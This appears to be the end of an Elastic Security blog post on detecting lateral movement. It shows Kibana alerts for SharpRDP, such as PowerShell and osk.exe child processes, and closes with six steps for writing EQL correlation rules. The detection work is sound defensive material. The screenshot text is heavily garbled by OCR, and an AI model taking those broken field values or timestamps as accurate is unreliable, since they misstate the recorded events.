A of a Alerts	14 **separt: [15 **separt: [15 **separt: [16 **separt: [17 **separt: [18 **separt: [19 **separt: [19 **separt: [10 **separt: [
	4 v of 4 events < 1 >	O Updated 1 hour ago						

Figure 30: Detection alert for SharpRDP on target host (RunMRU set to Powershell)

😔 Elastic	Q Search Elastic							o 🔊 💿	
Security / Detections									
Overview Detections Hosts Network Timeli	× ☆ Untitled timeline Description □ Nov 13, 2020 @ 12:37:56.41 → Nov 13, 2020 @ 12:37:57.57.57.57.57.57.57.57.57.57.57.57.57.5							3:56.41 C Refresh	
Image: Strate in the strate i	(signal.group.id: "aa2	1/36cc6685fcbe601692d890b45bbc1fb4e883 + Add field	7b8cb5e10180579d9fe4c53	3" ×)					
1 -	AND Filter V S	The Filter V Bearch						All data sources	
2020-03-01 2020-04-01 2020-05-01	() - + Ac	ld filter			h	anna la	de etile etile a la		
	→ ○ □ ቑ === Nov 13, 202	0 @ 12:43:56.413 Endpoint network event	I network	connection_accepted	MSEDGEWIN10	10.0.2.16	10.0.2.15		
Showing 8 alerts Selected 0 alerts Take action ∨ 🔓 Select all 8 alerts	ts	0 @ 12:43:56:413 Endpoint process event) process	tstart	1 MSEDGEWIN10	//////////////////////////////////////	14		
> ∂ → ∞∞ Nov 13, 2020 ⊕ 12:43:56.413 Potential SharpRDP > > ∂ → ∞∞ Nov 13, 2020 ⊕ 11:23:13.629 Potential SharpRDP	33 "('\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\\								
>	<pre>bit : 5743,</pre>								
> g/g == Nov 12, 2020 @ 12:17:01.933 Potential SharpRDP > g/g == Nov 12, 2020 @ 12:17:01.932 Potential SharpRDP									
> > 0	45 }, 46 "pe": { 47 "original_fil	e_name": "osk.exe"							
> 2 Nov 11, 2020 @ 17:17:57.749 Potential SharpRDP	48 }, 49 "name": "osk.ex 50 "pid": 9284, 51 "args_count: 1 52 "entity_id": "Y 53 "command_lime": 54 "executable": "	₽", j jAJZmVkZjEtYzEzZi02YTRhLTdmNzQtMGYzZGJkNj "\"C:(\windows\\system32\osk.eve\"", :\\windows\System32\osk.eve",	U1ZjB1LTkyODQtMTMyMDk3NDE	⊑yNzkuNTU4MjQwODAw",					
	4 v of 4 events			< <u>1</u> >			() Updated	1 hour ago	

Figure 31: Detection alert for SharpRDP on target host (PowerShell child process)

Wrapping up

<u>Event Query Language (EQL)</u> correlation capabilities enable us to capture complex behavior for a variety of Lateral Movement techniques. The high-level steps are:

- 1. **Understand the theory** and the building blocks of a certain technique (network protocols, loaded modules, services, process names, and arguments)
- 2. **Identify the key events** and their order that compose a certain behavior (both source and target host)

- 3. **Identify the common values** that can be used for correlation (<u>sequences</u>) identifying more commonalities can reduce false positives
- 4. **Identify enrichment possibilities**, such as extra events in the sequence that can be useful during alert triage
- 5. **Assess the window of time** for correlation using a shorter time window (for example, 30 seconds instead of 1 second) can reduce false positives, but can also introduce false negatives caused by network latency or slow system
- 6. **Test using different methods and tools** and tune the hunting logic accordingly, or, in some instances, duplicate logic to capture edge cases

Some of the <u>EQL</u> detection rules used as examples can be found in the <u>Elastic detection-</u> <u>rules</u> repository:

If you're new to <u>Elastic Security</u>, you can experience our latest version on <u>Elasticsearch</u> <u>Service</u> on Elastic Cloud.

We're hiring

Work for a global, distributed team where finding someone like you is just a Zoom meeting away. Flexible work with impact? Development opportunities from the start?